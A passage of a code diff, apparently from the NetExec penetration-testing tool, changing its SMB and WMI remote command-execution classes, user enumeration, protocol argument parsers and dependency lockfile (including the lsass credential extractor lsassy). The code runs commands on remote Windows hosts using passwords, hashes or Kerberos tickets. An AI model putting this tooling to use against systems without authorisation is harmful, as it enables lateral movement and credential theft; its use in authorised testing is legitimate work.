self.logger.debug(f"Trying protocol {protocol}")
self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos, kdcHost=self.kdcHost, remote_host=self.host)
self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos)
try:
self.fetch_users(requested_users)
break
@@ -78,11 +77,10 @@ class UserSamrDump:
if resp2["ErrorCode"] != 0:
raise Exception("Connect error")
domain_name = resp2["Buffer"]["Buffer"][0]["Name"]
resp3 = samr.hSamrLookupDomainInSamServer(
self.dce,
serverHandle=resp["ServerHandle"],
name=domain_name,
name=resp2["Buffer"]["Buffer"][0]["Name"],
)
if resp3["ErrorCode"] != 0:
raise Exception("Connect error")
@@ -133,7 +131,7 @@ class UserSamrDump:
# set these for the while loop
enumerationContext = enumerate_users_resp["EnumerationContext"]
status = enumerate_users_resp["ErrorCode"]
self.print_user_info(users, domain_name)
self.print_user_info(users)
self.dce.disconnect()
def get_user_info(self, domain_handle, user_ids):
@@ -166,8 +164,7 @@ class UserSamrDump:
samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"])
return users
def print_user_info(self, users, domain_name):
self.logger.display(f"Enumerated {len(users):d} local users: {domain_name}")
def print_user_info(self, users):
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for user in users:
self.logger.debug(f"Full user info: {user}")
+16 -28
View File
@@ -3,14 +3,13 @@ from os.path import join as path_join
from time import sleep
from impacket.dcerpc.v5 import transport, scmr
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class SMBEXEC:
def __init__(self, host, share_name, smbconnection, username="", password="", domain="", doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
def __init__(self, host, share_name, smbconnection, protocol, username="", password="", domain="", doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
self.__host = host
self.__share_name = share_name
self.__share_name = "C$"
self.__port = port
self.__username = username
self.__password = password
@@ -27,9 +26,9 @@ class SMBEXEC:
self.__retOutput = False
self.__rpctransport = None
self.__scmr = None
self.__conn = None
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.logger = logger
@@ -50,8 +49,7 @@ class SMBEXEC:
self.__rpctransport.set_dport(self.__port)
if hasattr(self.__rpctransport, "setRemoteHost"):
self.__rpctransport.setRemoteHost(self.__remoteHost)
self.__rpctransport.setRemoteHost(self.__host)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
self.__rpctransport.set_credentials(
@@ -94,13 +92,15 @@ class SMBEXEC:
self.__output = gen_random_string(6)
self.__batchFile = gen_random_string(6) + ".bat"
command = self.__shell + "echo " + data + f" ^> \\\\%COMPUTERNAME%\\{self.__share}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
command = self.__shell + "echo " + data + f" ^> \\\\127.0.0.1\\{self.__share_name}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
batch_file.write(command)
self.logger.debug("Hosting batch file with command: " + command)
self.logger.debug("Command to execute: " + command)
self.logger.debug(f"Remote service {self.__serviceName} created.")
try:
@@ -137,35 +137,23 @@ class SMBEXEC:
if self.__retOutput is False:
self.__outputBuffer = ""
return
# TODO: It looks like the service is hanging anyway until the command is finished, so all this timeout logic is likely not needed
# Still adding this for now to keep the structure similar until we can confirm the above
tries = 0
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries > self.__tries:
if tries >= self.__tries:
self.logger.fail("SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
self.logger.fail(f"SMBEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
# Output not finished, let's wait
sleep(2)
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(str(e))
@@ -180,7 +168,7 @@ class SMBEXEC:
command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" if self.__retOutput else self.__shell + data
with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
batch_file.write(command)
self.logger.debug("Hosting batch file with command: " + command)
@@ -215,7 +203,7 @@ class SMBEXEC:
while True:
try:
with open(path_join(TMP_PATH, self.__output), "rb") as output:
with open(path_join("/tmp", "nxc_hosted", self.__output), "rb") as output:
self.output_callback(output.read())
break
except OSError:
+9 -23
View File
@@ -9,7 +9,7 @@ from impacket.dcerpc.v5.dtypes import NULL
class WMIEXEC:
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
self.__target = target
self.__username = username
self.__password = password
@@ -26,7 +26,6 @@ class WMIEXEC:
self.__pwd = "C:\\"
self.__aesKey = aesKey
self.__kdcHost = kdcHost
self.__remoteHost = remoteHost
self.__doKerberos = doKerberos
self.__retOutput = True
self.__stringBinding = ""
@@ -53,10 +52,9 @@ class WMIEXEC:
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
)
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'WMIEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
@@ -140,36 +138,24 @@ class WMIEXEC:
self.__outputBuffer = ""
return
tries = 0
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries > self.__tries:
self.logger.fail("wmiexec: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
if tries >= self.__tries:
self.logger.fail("WMIEXEC: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
break
elif "STATUS_BAD_NETWORK_NAME" in str(e):
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
self.logger.fail(f"SMB connection: target has blocked {self.__share} access (maybe command executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
elif "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
sleep(1)
if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
sleep(2)
tries += 1
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e}")
self.logger.debug(str(e))
if self.__outputBuffer:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
-6
View File
@@ -195,10 +195,8 @@ class ssh(connection):
username=username,
passphrase=password if password != "" else None,
key_filename=private_key if private_key else self.args.key_file,
timeout=self.args.ssh_timeout,
look_for_keys=False,
allow_agent=False,
banner_timeout=self.args.ssh_timeout,
)
cred_id = self.db.add_credential(
@@ -215,10 +213,8 @@ class ssh(connection):
port=self.port,
username=username,
password=password,
timeout=self.args.ssh_timeout,
look_for_keys=False,
allow_agent=False,
banner_timeout=self.args.ssh_timeout,
)
cred_id = self.db.add_credential("plaintext", username, password)
@@ -230,8 +226,6 @@ class ssh(connection):
except SSHException as e:
if "Invalid key" in str(e):
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}")
if "Error reading SSH protocol banner" in str(e):
self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}")
else:
self.logger.exception(e)
except Exception as e:
+12 -9
View File
@@ -1,19 +1,22 @@
from argparse import _StoreAction
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
ssh_parser = parser.add_parser("ssh", help="own stuff using SSH", parents=parents, formatter_class=DisplayDefaultsNotNone)
def proto_args(parser, std_parser, module_parser):
ssh_parser = parser.add_parser("ssh", help="own stuff using SSH", parents=[std_parser, module_parser])
ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase.")
ssh_parser.add_argument("--port", type=int, default=22, help="SSH port")
ssh_parser.add_argument("--ssh-timeout", help="SSH connection timeout", type=int, default=15)
ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")
ssh_parser.add_argument("--ssh-timeout", help="SSH connection timeout, default is %(default)s secondes", type=int, default=15)
sudo_check_arg = ssh_parser.add_argument("--sudo-check", action="store_true", help="Check user privilege with sudo")
sudo_check_method_arg = ssh_parser.add_argument("--sudo-check-method", action=get_conditional_action(_StoreAction), make_required=[], choices={"sudo-stdin", "mkfifo"}, default="sudo-stdin", help="method to do with sudo check (mkfifo is non-stable, probably you need to execute once again if it failed)'")
ssh_parser.add_argument("--get-output-tries", type=int, default=5, help="Number of times with sudo command tries to get results")
sudo_check_method_arg = ssh_parser.add_argument("--sudo-check-method", action=get_conditional_action(_StoreAction), make_required=[], choices={"sudo-stdin", "mkfifo"}, default="sudo-stdin", help="method to do with sudo check, default is '%(default)s (mkfifo is non-stable, probably you need to execute once again if it failed)'")
ssh_parser.add_argument("--get-output-tries", help="Number of times with sudo command tries to get results, default is %(default)s", type=int, default=5)
sudo_check_method_arg.make_required.append(sudo_check_arg)
cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cgroup.add_argument("--codec", default="utf-8",
help="Set encoding used (codec) from the target's output (default "
"'utf-8'). If errors are detected, run chcp.com at the target, "
"map the result with "
"https://docs.python.org/3/library/codecs.html#standard-encodings and then execute "
"again with --codec and the corresponding codec")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
+3 -6
View File
@@ -1,9 +1,6 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
vnc_parser = parser.add_parser("vnc", help="own stuff using VNC", parents=parents, formatter_class=DisplayDefaultsNotNone)
vnc_parser.add_argument("--port", type=int, default=5900, help="VNC port")
def proto_args(parser, std_parser, module_parser):
vnc_parser = parser.add_parser("vnc", help="own stuff using VNC", parents=[std_parser, module_parser])
vnc_parser.add_argument("--port", type=int, default=5900, help="Custom VNC port")
vnc_parser.add_argument("--vnc-sleep", type=int, default=5, help="VNC Sleep on socket connection to avoid rate limit")
egroup = vnc_parser.add_argument_group("Screenshot", "VNC Server")
+6 -8
View File
@@ -1,11 +1,9 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
winrm_parser = parser.add_parser("winrm", help="own stuff using WINRM", parents=parents, formatter_class=DisplayDefaultsNotNone)
def proto_args(parser, std_parser, module_parser):
winrm_parser = parser.add_parser("winrm", help="own stuff using WINRM", parents=[std_parser, module_parser])
winrm_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
winrm_parser.add_argument("--port", nargs="+", default=["5985", "5986"], help="WinRM port - format: 'http-port https-port'(with space separated) or 'single-port' (http & https will use same port when given single port)")
winrm_parser.add_argument("--check-proto", nargs="+", default=["http", "https"], help="Choose what prorocol you want to check - format: 'http https'(with space separated) or 'single-protocol'")
winrm_parser.add_argument("--port", nargs="+", default=["5985", "5986"], help="Custom WinRM port, default is %(default)s, format: 'http-port https-port'(with space separated) or 'single-port'"
"(http & https will use same port when given single port)")
winrm_parser.add_argument("--check-proto", nargs="+", default=["http", "https"], help="Choose what prorocol you want to check, default is %(default)s, format: 'http https'(with space separated) or 'single-protocol'")
winrm_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
winrm_parser.add_argument("--http-timeout", dest="http_timeout", type=int, default=10, help="HTTP timeout for WinRM connections")
@@ -19,7 +17,7 @@ def proto_args(parser, parents):
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default: utf-8). If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
+22 -29
View File
@@ -1,4 +1,5 @@
import os
import logging
from io import StringIO
from datetime import datetime
@@ -28,6 +29,8 @@ class wmi(connection):
self.hash = ""
self.lmhash = ""
self.nthash = ""
self.fqdn = ""
self.remoteName = ""
self.server_os = None
self.doKerberos = False
self.stringBinding = None
@@ -61,10 +64,10 @@ class wmi(connection):
)
def create_conn_obj(self):
connection_target = fr"ncacn_ip_tcp:{self.remoteName}[{self.port!s}]"
self.logger.debug(f"Creating WMI connection object to {connection_target}")
if self.remoteName == "":
self.remoteName = self.host
try:
rpctansport = transport.DCERPCTransportFactory(connection_target)
rpctansport = transport.DCERPCTransportFactory(fr"ncacn_ip_tcp:{self.remoteName}[{self.port!s}]")
rpctansport.set_credentials(username="", password="", domain="", lmhash="", nthash="", aesKey="")
rpctansport.setRemoteHost(self.host)
rpctansport.set_connect_timeout(self.args.rpc_timeout)
@@ -74,10 +77,9 @@ class wmi(connection):
dce.bind(MSRPC_UUID_PORTMAP)
dce.disconnect()
except Exception as e:
self.logger.debug(f"Received error creating WMI connection object: {e}")
self.logger.debug(str(e))
return False
else:
self.logger.debug(f"Successfully created WMI connection object to {connection_target}")
self.conn = rpctansport
return True
@@ -131,14 +133,7 @@ class wmi(connection):
self.domain = self.hostname
if self.args.domain:
self.domain = self.args.domain
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
self.fqdn = f"{self.hostname}.{self.domain}"
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
@@ -150,13 +145,13 @@ class wmi(connection):
def check_if_admin(self):
try:
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
dcom = DCOMConnection(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout)
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.args.rpc_timeout)
except Exception as e:
self.logger.debug(f"Received error while checking admin: {e}")
if "dcom" in locals():
dcom.disconnect()
if "access_denied" not in str(e).lower():
self.logger.fail(str(e))
else:
@@ -177,19 +172,19 @@ class wmi(connection):
if "access_denied" not in str(e).lower():
self.logger.fail(str(e))
return False
else:
dcom.disconnect()
self.logger.extra["protocol"] = "WMI"
self.admin_privs = True
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
self.logger.debug("Starting WMI login with Kerberos")
logging.getLogger("impacket").disabled = True
lmhash = ""
nthash = ""
self.password = password
self.username = username
self.domain = domain
self.remoteName = self.fqdn
self.create_conn_obj()
if password == "":
@@ -204,15 +199,12 @@ class wmi(connection):
if useCache and kerb_pass == "":
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
self.logger.debug(f"Using ccache from {ccache}")
username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0]
self.username = username
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
try:
self.logger.debug(f"Attempting to connect via WMI to {self.host}")
self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey)
self.conn.setRemoteHost(self.host)
self.conn.set_kerberos(True, kdcHost)
dce = self.conn.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
@@ -222,21 +214,22 @@ class wmi(connection):
except Exception as e:
dce.disconnect()
error_msg = str(e).lower()
self.logger.debug(f"WMI errored while connecting: {error_msg}")
self.logger.debug(error_msg)
if "unpack requires a buffer of 4 bytes" in error_msg:
error_msg = "Kerberos authentication failure"
out = f"{self.domain}\\{self.username}{used_ccache} {error_msg}"
self.logger.fail(out)
elif "kerberos sessionerror" in error_msg:
elif "kerberos sessionerror" in str(e).lower():
out = f"{self.domain}\\{self.username}{used_ccache} {next(iter(e.getErrorString()))}"
self.logger.fail(out, color="magenta")
return False
else:
out = f"{self.domain}\\{self.username}{used_ccache} {e!s}"
self.logger.fail(out, color="red")
return False
else:
try:
self.logger.debug("Got valid creds, trying to get data from RPC connection")
# Get data from rpc connection if got vaild creds
entry_handle = epm.ept_lookup_handle_t()
request = epm.ept_lookup()
request["inquiry_type"] = 0x0
@@ -259,9 +252,9 @@ class wmi(connection):
else:
self.doKerberos = True
self.check_if_admin()
dce.disconnect()
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
self.logger.success(out)
dce.disconnect()
return True
def plaintext_login(self, domain, username, password):
@@ -380,7 +373,7 @@ class wmi(connection):
namespace = self.args.wmi_namespace
try:
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
dcom = DCOMConnection(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
iWbemLevel1Login = IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
@@ -426,11 +419,11 @@ class wmi(connection):
return False
if self.args.exec_method == "wmiexec":
exec_method = wmiexec.WMIEXEC(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.host, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
exec_method = wmiexec.WMIEXEC(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
output = exec_method.execute(command, get_output)
elif self.args.exec_method == "wmiexec-event":
exec_method = wmiexec_event.WMIEXEC_EVENT(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.host, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
exec_method = wmiexec_event.WMIEXEC_EVENT(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
output = exec_method.execute(command, get_output)
self.conn.disconnect()
+2 -2
View File
@@ -1,5 +1,5 @@
def proto_args(parser, parents):
wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", conflict_handler="resolve", parents=parents)
def proto_args(parser, std_parser, module_parser):
wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", parents=[std_parser, module_parser], conflict_handler="resolve")
wmi_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
wmi_parser.add_argument("--port", type=int, choices={135}, default=135, help="WMI port (default: 135)")
wmi_parser.add_argument("--rpc-timeout", help="RPC/DCOM(WMI) connection timeout, default is %(default)s seconds", type=int, default=2)
+4 -5
View File
@@ -24,8 +24,8 @@ from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Lo
class WMIEXEC:
def __init__(self, target, username, password, domain, lmhash, nthash, doKerberos, kdcHost, remoteHost, aesKey, logger, exec_timeout, codec):
self.__target = target
def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, exec_timeout, codec):
self.__host = host
self.__username = username
self.__password = password
self.__domain = domain
@@ -33,7 +33,6 @@ class WMIEXEC:
self.__nthash = nthash
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__remoteHost = remoteHost
self.__aesKey = aesKey
self.logger = logger
self.__exec_timeout = exec_timeout
@@ -45,7 +44,7 @@ class WMIEXEC:
self.__pwd = "C:\\"
self.__codec = codec
self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey, remoteHost=self.__remoteHost)
self.__dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey)
iInterface = self.__dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
iWbemLevel1Login = IWbemLevel1Login(iInterface)
self.__iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
@@ -99,4 +98,4 @@ class WMIEXEC:
self.logger.debug(f"Removing temporary registry path: HKLM\\{self.__registry_Path}")
retVal = descriptor.DeleteKey(2147483650, self.__registry_Path)
except Exception as e:
self.logger.debug(f"Target: {self.__target} removing temporary registry path error: {e!s}")
self.logger.debug(f"Target: {self.__host} removing temporary registry path error: {e!s}")
+4 -5
View File
@@ -31,8 +31,8 @@ from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Lo
class WMIEXEC_EVENT:
def __init__(self, target, username, password, domain, lmhash, nthash, doKerberos, kdcHost, remoteHost, aesKey, logger, exec_timeout, codec):
self.__target = target
def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, exec_timeout, codec):
self.__host = host
self.__username = username
self.__password = password
self.__domain = domain
@@ -40,7 +40,6 @@ class WMIEXEC_EVENT:
self.__nthash = nthash
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__remoteHost = remoteHost
self.__aesKey = aesKey
self.__outputBuffer = ""
self.__retOutput = True
@@ -51,7 +50,7 @@ class WMIEXEC_EVENT:
self.__instanceID = f"windows-object-{uuid.uuid4()!s}"
self.__instanceID_StoreResult = f"windows-object-{uuid.uuid4()!s}"
self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey, remoteHost=self.__remoteHost)
self.__dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey)
iInterface = self.__dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
iWbemLevel1Login = IWbemLevel1Login(iInterface)
self.__iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
@@ -76,7 +75,7 @@ class WMIEXEC_EVENT:
def execute_handler(self, command):
# Generate vbsript and execute it
self.logger.debug(f"{self.__target}: Execute command via wmi event, job instance id: {self.__instanceID}, command result instance id: {self.__instanceID_StoreResult}")
self.logger.debug(f"{self.__host}: Execute command via wmi event, job instance id: {self.__instanceID}, command result instance id: {self.__instanceID_StoreResult}")
self.execute_remote(command)
# Get command results
Generated
+20 -20
View File
@@ -1,4 +1,4 @@
# This file is automatically @generated by Poetry 1.5.1 and should not be changed by hand.
# This file is automatically @generated by Poetry 1.8.2 and should not be changed by hand.
[[package]]
name = "aardwolf"
@@ -189,13 +189,13 @@ shell = ["prompt_toolkit"]
[[package]]
name = "asyauth"
version = "0.0.20"
version = "0.0.18"
description = "Unified authentication library"
optional = false
python-versions = ">=3.7"
files = [
{file = "asyauth-0.0.20-py3-none-any.whl", hash = "sha256:b4697c5be28869bb5df8ff217564e77a863385ef9495da7cb215deac4ebe9fac"},
{file = "asyauth-0.0.20.tar.gz", hash = "sha256:41056020f7689cf5f0a559759c7f02a6ce2719bda84df783bd1058d5781e514b"},
{file = "asyauth-0.0.18-py3-none-any.whl", hash = "sha256:1fff4333d5db8c6c4a897efdf5e95a41a44cd257638d8296003f1a7a4a9e95a1"},
{file = "asyauth-0.0.18.tar.gz", hash = "sha256:b7602894fd0667cf1bd3e16a1d71c83f557a4c857ad41bddf30557a59665b4ad"},
]
[package.dependencies]
@@ -634,13 +634,13 @@ wmi = ["wmi (>=1.5.1,<2.0.0)"]
[[package]]
name = "dploot"
version = "2.7.1"
version = "2.2.4"
description = "DPAPI looting remotely in Python"
optional = false
python-versions = "<4.0,>=3.7"
python-versions = ">=3.7,<4.0"
files = [
{file = "dploot-2.7.1-py3-none-any.whl", hash = "sha256:4d557a88c4fd6f6a53f45333ccb853e4125f0bf101d5336937ac1f6c0afb7171"},
{file = "dploot-2.7.1.tar.gz", hash = "sha256:bcd2f9c6b6647d83b5d62f0446a0fdeb7eefacc6f71a49a8dd18ef43538d5db6"},
{file = "dploot-2.2.4-py3-none-any.whl", hash = "sha256:a70c8280972a1fb7150093560093e46a9bb5936396f563ae9050a20dcf1ad96e"},
{file = "dploot-2.2.4.tar.gz", hash = "sha256:e34ff928e94416f3cbf688427d1de4aa88a4a4a15f24edb6313a2adc685a98a3"},
]
[package.dependencies]
@@ -947,13 +947,13 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
[[package]]
name = "lsassy"
version = "3.1.11"
version = "3.1.10"
description = "Python library to extract credentials from lsass remotely"
optional = false
python-versions = ">=3.6"
files = [
{file = "lsassy-3.1.11-py3-none-any.whl", hash = "sha256:ee9588761f307e9bba66485cfb60597091db232d2aadde27bcb0504f8faea7ba"},
{file = "lsassy-3.1.11.tar.gz", hash = "sha256:0cfad66c53bee67e84810d73058fd70f15aa7570a0e96009d57160dfda1fb8cf"},
{file = "lsassy-3.1.10-py3-none-any.whl", hash = "sha256:c25bc349f54d10329fae83a65b3c5a679e298883273e319a515916f362068b6c"},
{file = "lsassy-3.1.10.tar.gz", hash = "sha256:748ee7e49f792d4532155f3ef0467fe505e0c32386195c5ae6bcaafa699e28f3"},
]
[package.dependencies]
@@ -1299,13 +1299,13 @@ files = [
